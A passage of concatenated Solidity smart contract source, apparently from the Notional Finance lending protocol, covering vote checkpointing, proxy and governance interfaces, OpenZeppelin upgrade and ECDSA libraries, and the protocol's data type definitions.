_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = _add96(dstRepOld, amount, "Note::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } /// @dev Writes checkpoints for `getPriorVotes`, this is somewhat inefficient as it uses /// 20000 gas per transfer of delegated tokens. The goal is prevent voters from borrowing /// a large number of votes for a short period to vote for or against a proposal. It's unclear /// if there is a better model than this one here. Using only a single checkpoint means that /// a delegate could be the victim of a denial of service attack where an attacker continually /// transfers tokens to them to prevent them from voting. function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes ) internal { uint32 blockNumber = _safe32(block.number, "Note::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function _safe32(uint256 n, string memory errorMessage) private pure returns (uint32) { require(n <= type(uint32).max, errorMessage); return uint32(n); } function _safe96(uint256 n, string memory errorMessage) private pure returns (uint96) { require(n <= type(uint96).max, errorMessage); return uint96(n); } function _add96( uint96 a, uint96 b, string memory errorMessage ) private pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function _sub96( uint96 a, uint96 b, string memory errorMessage ) private pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function _getChainId() private pure returns (uint256) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.7.0; pragma abicoder v2; import "../../contracts/global/Types.sol"; import "./nTokenERC20.sol"; import "./nERC1155Interface.sol"; import "./NotionalGovernance.sol"; import "./NotionalViews.sol"; interface NotionalProxy is nTokenERC20, nERC1155Interface, NotionalGovernance, NotionalViews { /** User trading events */ event CashBalanceChange(address indexed account, uint16 indexed currencyId, int256 netCashChange); event nTokenSupplyChange(address indexed account, uint16 indexed currencyId, int256 tokenSupplyChange); event MarketsInitialized(uint16 currencyId); event SweepCashIntoMarkets(uint16 currencyId, int256 cashIntoMarkets); event SettledCashDebt( address indexed settledAccount, uint16 indexed currencyId, int256 amountToSettleAsset, int256 fCashAmount ); event nTokenResidualPurchase( uint16 indexed currencyId, uint40 indexed maturity, int256 fCashAmountToPurchase, int256 netAssetCashNToken ); event LendBorrowTrade( address indexed account, uint16 indexed currencyId, uint40 maturity, int256 netAssetCash, int256 netfCash ); event AddRemoveLiquidity( address indexed account, uint16 indexed currencyId, uint40 maturity, int256 netAssetCash, int256 netfCash, int256 netLiquidityTokens ); /// @notice Emitted when reserve fees are accrued event ReserveFeeAccrued(uint16 indexed currencyId, int256 fee); /// @notice Emitted whenever an account context has updated event AccountContextUpdate(address indexed account); /// @notice Emitted when an account has assets that are settled event AccountSettled(address indexed account); /// @notice Emitted when an asset rate is settled event SetSettlementRate(uint256 indexed currencyId, uint256 indexed maturity, uint128 rate); /* Liquidation Events */ event LiquidateLocalCurrency( address indexed liquidated, address indexed liquidator, uint16 localCurrencyId, int256 netLocalFromLiquidator ); event LiquidateCollateralCurrency( address indexed liquidated, address indexed liquidator, uint16 localCurrencyId, uint16 collateralCurrencyId, int256 netLocalFromLiquidator, int256 netCollateralTransfer, int256 netNTokenTransfer ); event LiquidatefCashEvent( address indexed liquidated, uint16 localCurrencyId, uint16 fCashCurrency, int256 netLocalFromLiquidator, uint256[] fCashMaturities, int256[] fCashNotionalTransfer ); /** UUPS Upgradeable contract calls */ function upgradeTo(address newImplementation) external; function upgradeToAndCall(address newImplementation, bytes memory data) external payable; function getImplementation() external view returns (address); function owner() external view returns (address); function pauseRouter() external view returns (address); function pauseGuardian() external view returns (address); /** Initialize Markets Action */ function initializeMarkets(uint16 currencyId, bool isFirstInit) external; function sweepCashIntoMarkets(uint16 currencyId) external; /** Redeem nToken Action */ function nTokenRedeem( address redeemer, uint16 currencyId, uint96 tokensToRedeem_, bool sellTokenAssets ) external returns (int256); /** Account Action */ function enableBitmapCurrency(uint16 currencyId) external; function settleAccount(address account) external; function depositUnderlyingToken( address account, uint16 currencyId, uint256 amountExternalPrecision ) external payable returns (uint256); function depositAssetToken( address account, uint16 currencyId, uint256 amountExternalPrecision ) external returns (uint256); function withdraw( uint16 currencyId, uint88 amountInternalPrecision, bool redeemToUnderlying ) external returns (uint256); /** Batch Action */ function batchBalanceAction(address account, BalanceAction[] calldata actions) external payable; function batchBalanceAndTradeAction(address account, BalanceActionWithTrades[] calldata actions) external payable; function batchBalanceAndTradeActionWithCallback( address account, BalanceActionWithTrades[] calldata actions, bytes calldata callbackData ) external payable; /** Liquidation Action */ function calculateLocalCurrencyLiquidation( address liquidateAccount, uint16 localCurrency, uint96 maxNTokenLiquidation ) external returns (int256, int256); function liquidateLocalCurrency( address liquidateAccount, uint16 localCurrency, uint96 maxNTokenLiquidation ) external returns (int256, int256); function calculateCollateralCurrencyLiquidation( address liquidateAccount, uint16 localCurrency, uint16 collateralCurrency, uint128 maxCollateralLiquidation, uint96 maxNTokenLiquidation ) external returns ( int256, int256, int256 ); function liquidateCollateralCurrency( address liquidateAccount, uint16 localCurrency, uint16 collateralCurrency, uint128 maxCollateralLiquidation, uint96 maxNTokenLiquidation, bool withdrawCollateral, bool redeemToUnderlying ) external returns ( int256, int256, int256 ); function calculatefCashLocalLiquidation( address liquidateAccount, uint16 localCurrency, uint256[] calldata fCashMaturities, uint256[] calldata maxfCashLiquidateAmounts ) external returns (int256[] memory, int256); function liquidatefCashLocal( address liquidateAccount, uint16 localCurrency, uint256[] calldata fCashMaturities, uint256[] calldata maxfCashLiquidateAmounts ) external returns (int256[] memory, int256); function calculatefCashCrossCurrencyLiquidation( address liquidateAccount, uint16 localCurrency, uint16 fCashCurrency, uint256[] calldata fCashMaturities, uint256[] calldata maxfCashLiquidateAmounts ) external returns (int256[] memory, int256); function liquidatefCashCrossCurrency( address liquidateAccount, uint16 localCurrency, uint16 fCashCurrency, uint256[] calldata fCashMaturities, uint256[] calldata maxfCashLiquidateAmounts ) external returns (int256[] memory, int256); } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/Address.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !Address.isContract(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return recover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`, * `r` and `s` signature fields separately. */ function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value"); require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../ERC1967/ERC1967Upgrade.sol"; /** * @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an * {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy. * * A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is * reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing * `UUPSUpgradeable` with a custom implementation of upgrades. * * The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism. * * _Available since v4.1._ */ abstract contract UUPSUpgradeable is ERC1967Upgrade { /** * @dev Upgrade the implementation of the proxy to `newImplementation`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeTo(address newImplementation) external virtual { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, bytes(""), false); } /** * @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call * encoded in `data`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, data, true); } /** * @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by * {upgradeTo} and {upgradeToAndCall}. * * Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}. * * ```solidity * function _authorizeUpgrade(address) internal override onlyOwner {} * ``` */ function _authorizeUpgrade(address newImplementation) internal virtual; } // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.7.0; pragma abicoder v2; import "interfaces/chainlink/AggregatorV2V3Interface.sol"; import "interfaces/notional/AssetRateAdapter.sol"; /// @notice Different types of internal tokens /// - UnderlyingToken: underlying asset for a cToken (except for Ether) /// - cToken: Compound interest bearing token /// - cETH: Special handling for cETH tokens /// - Ether: the one and only /// - NonMintable: tokens that do not have an underlying (therefore not cTokens) enum TokenType {UnderlyingToken, cToken, cETH, Ether, NonMintable} /// @notice Specifies the different trade action types in the system. Each trade action type is /// encoded in a tightly packed bytes32 object. Trade action type is the first big endian byte of the /// 32 byte trade action object. The schemas for each trade action type are defined below. enum TradeActionType { // (uint8 TradeActionType, uint8 MarketIndex, uint88 fCashAmount, uint32 minImpliedRate, uint120 unused) Lend, // (uint8 TradeActionType, uint8 MarketIndex, uint88 fCashAmount, uint32 maxImpliedRate, uint128 unused) Borrow, // (uint8 TradeActionType, uint8 MarketIndex, uint88 assetCashAmount, uint32 minImpliedRate, uint32 maxImpliedRate, uint88 unused) AddLiquidity, // (uint8 TradeActionType, uint8 MarketIndex, uint88 tokenAmount, uint32 minImpliedRate, uint32 maxImpliedRate, uint88 unused) RemoveLiquidity, // (uint8 TradeActionType, uint32 Maturity, int88 fCashResidualAmount, uint128 unused) PurchaseNTokenResidual, // (uint8 TradeActionType, address CounterpartyAddress, int88 fCashAmountToSettle) SettleCashDebt } /// @notice Specifies different deposit actions that can occur during BalanceAction or BalanceActionWithTrades enum DepositActionType { // No deposit action None, // Deposit asset cash, depositActionAmount is specified in asset cash external precision DepositAsset, // Deposit underlying tokens that are mintable to asset cash, depositActionAmount is specified in underlying token // external precision DepositUnderlying, // Deposits specified asset cash external precision amount into an nToken and mints the corresponding amount of // nTokens into the account DepositAssetAndMintNToken, // Deposits specified underlying in external precision, mints asset cash, and uses that asset cash to mint nTokens DepositUnderlyingAndMintNToken, // Redeems an nToken balance to asset cash. depositActionAmount is specified in nToken precision. Considered a deposit action // because it deposits asset cash into an account. If there are fCash residuals that cannot be sold off, will revert. RedeemNToken, // Converts specified amount of asset cash balance already in Notional to nTokens. depositActionAmount is specified in // Notional internal 8 decimal precision. ConvertCashToNToken } /// @notice Used internally for PortfolioHandler state enum AssetStorageState {NoChange, Update, Delete, RevertIfStored} /****** Calldata objects ******/ /// @notice Defines a balance action for batchAction struct BalanceAction { // Deposit action to take (if any) DepositActionType actionType; uint16 currencyId; // Deposit action amount must correspond to the depositActionType, see documentation above. uint256 depositActionAmount; // Withdraw an amount of asset cash specified in Notional internal 8 decimal precision uint256 withdrawAmountInternalPrecision; // If set to true, will withdraw entire cash balance. Useful if there may be an unknown amount of asset cash // residual left from trading. bool withdrawEntireCashBalance; // If set to true, will redeem asset cash to the underlying token on withdraw. bool redeemToUnderlying; } /// @notice Defines a balance action with a set of trades to do as well struct BalanceActionWithTrades { DepositActionType actionType; uint16 currencyId; uint256 depositActionAmount; uint256 withdrawAmountInternalPrecision; bool withdrawEntireCashBalance; bool redeemToUnderlying; // Array of tightly packed 32 byte objects that represent trades. See TradeActionType documentation bytes32[] trades; } /****** In memory objects ******/ /// @notice Internal object that represents settled cash balances struct SettleAmount { uint256 currencyId; int256 netCashChange; } /// @notice Internal object that represents a token struct Token { address tokenAddress; bool hasTransferFee; int256 decimals; TokenType tokenType; uint256 maxCollateralBalance; } /// @notice Internal object that represents an nToken portfolio struct nTokenPortfolio { CashGroupParameters cashGroup; PortfolioState portfolioState; int256 totalSupply; int256 cashBalance; uint256 lastInitializedTime; bytes6 parameters; address tokenAddress; } /// @notice Internal object used during liquidation struct LiquidationFactors { address account; // Aggregate free collateral of the account denominated in ETH underlying, 8 decimal precision int256 netETHValue; // Amount of net local currency asset cash before haircuts and buffers available int256 localAssetAvailable; // Amount of net collateral currency asset cash before haircuts and buffers available int256 collateralAssetAvailable; // Haircut value of nToken holdings denominated in asset cash, will be local or collateral nTokens based // on liquidation type int256 nTokenHaircutAssetValue; // nToken parameters for calculating liquidation amount bytes6 nTokenParameters; // ETH exchange rate from local currency to ETH ETHRate localETHRate; // ETH exchange rate from collateral currency to ETH ETHRate collateralETHRate; // Asset rate for the local currency, used in cross currency calculations to calculate local asset cash required AssetRateParameters localAssetRate; // Used during currency liquidations if the account has liquidity tokens CashGroupParameters cashGroup; // Used during currency liquidations if it is only a calculation, defaults to false bool isCalculation; } /// @notice Internal asset array portfolio state struct PortfolioState { // Array of currently stored assets PortfolioAsset[] storedAssets; // Array of new assets to add PortfolioAsset[] newAssets; uint256 lastNewAssetIndex; // Holds the length of stored assets after accounting for deleted assets uint256 storedAssetLength; } /// @notice In memory ETH exchange rate used during free collateral calculation. struct ETHRate { // The decimals (i.e. 10^rateDecimalPlaces) of the exchange rate, defined by the rate oracle int256 rateDecimals; // The exchange rate from base to ETH (if rate invert is required it is already done) int256 rate; // Amount of buffer as a multiple with a basis of 100 applied to negative balances. int256 buffer; // Amount of haircut as a multiple with a basis of 100 applied to positive balances int256 haircut; // Liquidation discount as a multiple with a basis of 100 applied to the exchange rate // as an incentive given to liquidators. int256 liquidationDiscount; } /// @notice Internal object used to handle balance state during a transaction struct BalanceState { uint16 currencyId; // Cash balance stored in balance state at the beginning of the transaction int256 storedCashBalance; // nToken balance stored at the beginning of the transaction int256 storedNTokenBalance; // The net cash change as a result of asset settlement or trading int256 netCashChange; // Net asset transfers into or out of the account int256 netAssetTransferInternalPrecision; // Net token transfers into or out of the account int256 netNTokenTransfer; // Net token supply change from minting or redeeming int256 netNTokenSupplyChange; // The last time incentives were claimed for this currency uint256 lastClaimTime; // The last integral supply amount when tokens were claimed uint256 lastClaimIntegralSupply; } /// @dev Asset rate used to convert between underlying cash and asset cash struct AssetRateParameters { // Address of the asset rate oracle AssetRateAdapter rateOracle; // The exchange rate from base to quote (if invert is required it is already done) int256 rate; // The decimals of the underlying, the rate converts to the underlying decimals int256 underlyingDecimals; } /// @dev Cash group when loaded into memory struct CashGroupParameters { uint16 currencyId; uint256 maxMarketIndex; AssetRateParameters assetRate; bytes32 data; } /// @dev A portfolio asset when loaded in memory struct PortfolioAsset { // Asset currency id uint256 currencyId; uint256 maturity; // Asset type, fCash or liquidity token. uint256 assetType; // fCash amount or liquidity token amount int256 notional; // Used for managing portfolio asset state uint256 storageSlot; // The state of the asset for when it is written to storage AssetStorageState storageState; } /// @dev Market object as represented in memory struct MarketParameters { bytes32 storageSlot; uint256 maturity; // Total amount of fCash available for purchase in the market. int256 totalfCash; // Total amount of cash available for purchase in the market. int256 totalAssetCash; // Total amount of liquidity tokens (representing a claim on liquidity) in the market. int256 totalLiquidity; // This is the previous annualized interest rate in RATE_PRECISION that the market traded // at. This is used to calculate the rate anchor to smooth interest rates over time. uint256 lastImpliedRate; // Time lagged version of lastImpliedRate, used to value fCash assets at market rates while // remaining resistent to flash loan attacks. uint256 oracleRate; // This is the timestamp of the previous trade uint256 previousTradeTime; } /****** Storage objects ******/ /// @dev Token object in storage: /// 20 bytes for token address /// 1 byte for hasTransferFee /// 1 byte for tokenType /// 1 byte for tokenDecimals /// 9 bytes for maxCollateralBalance (may not always be set) struct TokenStorage { // Address of the token address tokenAddress; // Transfer fees will change token deposit behavior bool hasTransferFee; TokenType tokenType; uint8 decimalPlaces; // Upper limit on how much of this token the contract can hold at any time uint72 maxCollateralBalance; } /// @dev Exchange rate object as it is represented in storage, total storage is 25 bytes. struct ETHRateStorage { // Address of the rate oracle AggregatorV2V3Interface rateOracle; // The decimal places of precision that the rate oracle uses uint8 rateDecimalPlaces; // True of the exchange rate must be inverted bool mustInvert; // NOTE: both of these governance values are set with BUFFER_DECIMALS precision // Amount of buffer to apply to the exchange rate for negative balances. uint8 buffer; // Amount of haircut to apply to the exchange rate for positive balances uint8 haircut; // Liquidation discount in percentage point terms, 106 means a 6% discount uint8 liquidationDiscount; } /// @dev Asset rate oracle object as it is represented in storage, total storage is 21 bytes. struct AssetRateStorage { // Address of the rate oracle AssetRateAdapter rateOracle; // The decimal places of the underlying asset uint8 underlyingDecimalPlaces; } /// @dev Governance parameters for a cash group, total storage is 9 bytes + 7 bytes for liquidity token haircuts /// and 7 bytes for rate scalars, total of 23 bytes. Note that this is stored packed in the storage slot so there /// are no indexes stored for liquidityTokenHaircuts or rateScalars, maxMarketIndex is used instead to determine the /// length. struct CashGroupSettings { // Index of the AMMs on chain that will be made available. Idiosyncratic fCash // that is dated less than the longest AMM will be tradable. uint8 maxMarketIndex; // Time window in minutes that the rate oracle will be averaged over uint8 rateOracleTimeWindowMin; // Total fees per trade, specified in BPS uint8 totalFeeBPS; // Share of the fees given to the protocol, denominated in percentage uint8 reserveFeeShare; // Debt buffer specified in 5 BPS increments uint8 debtBuffer5BPS; // fCash haircut specified in 5 BPS increments uint8 fCashHaircut5BPS; // If an account has a negative cash balance, it can be settled by incurring debt at the 3 month market. This // is the basis points for the penalty rate that will be added the current 3 month oracle rate. uint8 settlementPenaltyRate5BPS; // If an account has fCash that is being liquidated, this is the discount that the liquidator can purchase it for uint8 liquidationfCashHaircut5BPS; // If an account has fCash that is being liquidated, this is the discount that the liquidator can purchase it for uint8 liquidationDebtBuffer5BPS; // Liquidity token haircut applied to cash claims, specified as a percentage between 0 and 100 uint8[] liquidityTokenHaircuts; // Rate scalar used to determine the slippage of the market uint8[] rateScalars; } /// @dev Holds account level context information used to determine settlement and /// free collateral actions. Total storage is 28 bytes struct AccountContext { // Used to check when settlement must be triggered on an account uint40 nextSettleTime; // For lenders that never incur debt, we use this flag to skip the free collateral check. bytes1 hasDebt; // Length of the account's asset array uint8 assetArrayLength; // If this account has bitmaps set, this is the corresponding currency id uint16 bitmapCurrencyId; // 9 total active currencies possible (2 bytes each) bytes18 activeCurrencies; } /// @dev Holds nToken context information mapped via the nToken address, total storage is /// 16 bytes struct nTokenContext { // Currency id that the nToken represents uint16 currencyId; // Annual incentive emission rate denominated in WHOLE TOKENS (multiply by // INTERNAL_TOKEN_PRECISION to get the actual rate) uint32 incentiveAnnualEmissionRate; // The last block time at utc0 that the nToken was initialized at, zero if it // has never been initialized uint32 lastInitializedTime; // Length of the asset array, refers to the number of liquidity tokens an nToken // currently holds uint8 assetArrayLength; // Each byte is a specific nToken parameter bytes5 nTokenParameters; } /// @dev Holds account balance information, total storage 32 bytes struct BalanceStorage { // Number of nTokens held by the account uint80 nTokenBalance; // Last time the account claimed their nTokens uint32 lastClaimTime; // The total integral supply of the nToken at the last claim time packed into // 56 bits. There is some loss of precision here but it is acceptable uint56 packedLastClaimIntegralSupply; // Cash balance of the account int88 cashBalance; } /// @dev Holds information about a settlement rate, total storage 25 bytes struct SettlementRateStorage { uint40 blockTime; uint128 settlementRate; uint8 underlyingDecimalPlaces; } /// @dev Holds information about a market, total storage is 42 bytes so this spans /// two storage words struct MarketStorage { // Total fCash in the market uint80 totalfCash; // Total asset cash in the market uint80 totalAssetCash; // Last annualized interest rate the market traded at uint32 lastImpliedRate; // Last recorded oracle rate for the market uint32 oracleRate; // Last time a trade was made uint32 previousTradeTime; // This is stored in slot + 1 uint80 totalLiquidity; } struct ifCashStorage { // Notional amount of fCash at the slot, limited to int128 to allow for // future expansion int128 notional; } /// @dev A single portfolio asset in storage, total storage of 19 bytes struct PortfolioAssetStorage { // Currency Id for the asset uint16 currencyId; // Maturity of the asset uint40 maturity; // Asset type (fCash or Liquidity Token marker) uint8 assetType; // Notional int88 notional; } /// @dev nToken total supply factors for the nToken, includes factors related /// to claiming incentives, total storage 32 bytes struct nTokenTotalSupplyStorage { // Total supply of the nToken uint96 totalSupply; // Integral of the total supply used for calculating the average total supply uint128 integralTotalSupply; // Last timestamp the supply value changed, used for calculating the integralTotalSupply uint32 lastSupplyChangeTime; } /// @dev Used in view methods to return account balances in a developer friendly manner struct AccountBalance { uint16 currencyId; int256 cashBalance; int256 nTokenBalance; uint256 lastClaimTime; uint256 lastClaimIntegralSupply; } // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.7.0; pragma abicoder v2; interface nTokenERC20 { event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); function nTokenTotalSupply(address nTokenAddress) external view returns (uint256); function nTokenTransferAllowance( uint16 currencyId, address owner, address spender ) external view returns (uint256); function nTokenBalanceOf(uint16 currencyId, address account) external view returns (uint256); function nTokenTransferApprove( uint16 currencyId, address owner, address spender, uint256 amount ) external returns (bool); function nTokenTransfer( uint16 currencyId, address from, address to, uint256 amount ) external returns (bool); function nTokenTransferFrom( uint16 currencyId, address spender, address from, address to, uint256 amount ) external returns (bool); function nTokenTransferApproveAll(address spender, uint256 amount) external returns (bool); function nTokenClaimIncentives() external returns (uint256); function nTokenPresentValueAssetDenominated(uint16 currencyId) external view returns (int256); function nTokenPresentValueUnderlyingDenominated(uint16 currencyId) external view returns (int256); } // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.7.0; pragma abicoder v2; import "../../contracts/global/Types.sol"; interface nERC1155Interface { event TransferSingle( address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value ); event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); event ApprovalForAll(address indexed account, address indexed operator, bool approved); event URI(string value, uint256 indexed id); function supportsInterface(bytes4 interfaceId) external pure returns (bool); function balanceOf(address account, uint256 id) external view returns (uint256); function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); function signedBalanceOf(address account, uint256 id) external view returns (int256); function signedBalanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (int256[] memory); function setApprovalForAll(address operator, bool approved) external; function isApprovedForAll(address account, address operator) external view returns (bool); function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external payable; function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external payable; function decodeToAssets(uint256[] calldata ids, uint256[] calldata amounts) external view returns (PortfolioAsset[] memory); function encodeToId( uint16 currencyId, uint40 maturity, uint8 assetType ) external pure returns (uint256 id); } // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.7.0; pragma abicoder v2; import "../../contracts/global/Types.sol"; import "interfaces/chainlink/AggregatorV2V3Interface.sol"; import "interfaces/notional/NotionalGovernance.sol"; interface NotionalGovernance { event ListCurrency(uint16 newCurrencyId); event UpdateETHRate(uint16 currencyId); event UpdateAssetRate(uint16 currencyId); event UpdateCashGroup(uint16 currencyId); event DeployNToken(uint16 currencyId, address nTokenAddress); event UpdateDepositParameters(uint16 currencyId); event UpdateInitializationParameters(uint16 currencyId); event UpdateIncentiveEmissionRate(uint16 currencyId, uint32 newEmissionRate); event UpdateTokenCollateralParameters(uint16 currencyId); event UpdateGlobalTransferOperator(address operator, bool approved); event UpdateAuthorizedCallbackContract(address operator, bool approved); event UpdateMaxCollateralBalance(uint16 currencyId, uint72 maxCollateralBalance); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event PauseRouterAndGuardianUpdated(address indexed pauseRouter, address indexed pauseGuardian); function transferOwnership(address newOwner) external; function setPauseRouterAndGuardian(address pauseRouter_, address pauseGuardian_) external; function listCurrency( TokenStorage calldata assetToken, TokenStorage calldata underlyingToken, AggregatorV2V3Interface rateOracle, bool mustInvert, uint8 buffer, uint8 haircut, uint8 liquidationDiscount ) external returns (uint16 currencyId); function updateMaxCollateralBalance( uint16 currencyId, uint72 maxCollateralBalanceInternalPrecision ) external; function enableCashGroup( uint16 currencyId, AssetRateAdapter assetRateOracle, CashGroupSettings calldata cashGroup, string calldata underlyingName, string calldata underlyingSymbol ) external; function updateDepositParameters( uint16 currencyId, uint32[] calldata depositShares, uint32[] calldata leverageThresholds ) external; function updateInitializationParameters( uint16 currencyId, uint32[] calldata annualizedAnchorRates, uint32[] calldata proportions ) external; function updateIncentiveEmissionRate(uint16 currencyId, uint32 newEmissionRate) external; function updateTokenCollateralParameters( uint16 currencyId, uint8 residualPurchaseIncentive10BPS, uint8 pvHaircutPercentage, uint8 residualPurchaseTimeBufferHours, uint8 cashWithholdingBuffer10BPS, uint8 liquidationHaircutPercentage ) external; function updateCashGroup(uint16 currencyId, CashGroupSettings calldata cashGroup) external; function updateAssetRate(uint16 currencyId, AssetRateAdapter rateOracle) external; function updateETHRate( uint16 currencyId, AggregatorV2V3Interface rateOracle, bool mustInvert, uint8 buffer, uint8 haircut, uint8 liquidationDiscount ) external; function updateGlobalTransferOperator(address operator, bool approved) external; function updateAuthorizedCallbackContract(address operator, bool approved) external; } // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.7.0; pragma abicoder v2; import "../../contracts/global/Types.sol"; interface NotionalViews { function getMaxCurrencyId() external view returns (uint16); function getCurrencyId(address tokenAddress) external view returns (uint16 currencyId); function getCurrency(uint16 currencyId) external view returns (Token memory assetToken, Token memory underlyingToken); function getRateStorage(uint16 currencyId) external view returns (ETHRateStorage memory ethRate, AssetRateStorage memory assetRate); function getCurrencyAndRates(uint16 currencyId) external view returns ( Token memory assetToken, Token memory underlyingToken, ETHRate memory ethRate, AssetRateParameters memory assetRate ); function getCashGroup(uint16 currencyId) external view returns (CashGroupSettings memory); function getCashGroupAndAssetRate(uint16 currencyId) external view returns (CashGroupSettings memory cashGroup, AssetRateParameters memory assetRate); function getInitializationParameters(uint16 currencyId) external view returns (int256[] memory annualizedAnchorRates, int256[] memory proportions); function getDepositParameters(uint16 currencyId) external view returns (int256[] memory depositShares, int256[] memory leverageThresholds); function nTokenAddress(uint16 currencyId) external view returns (address); function getNoteToken() external view returns (address); function getSettlementRate(uint16 currencyId, uint40 maturity) external view returns (AssetRateParameters memory); function getMarket(uint16 currencyId, uint256 maturity, uint256 settlementDate) external view returns (MarketParameters memory); function getActiveMarkets(uint16 currencyId) external view returns (MarketParameters[] memory); 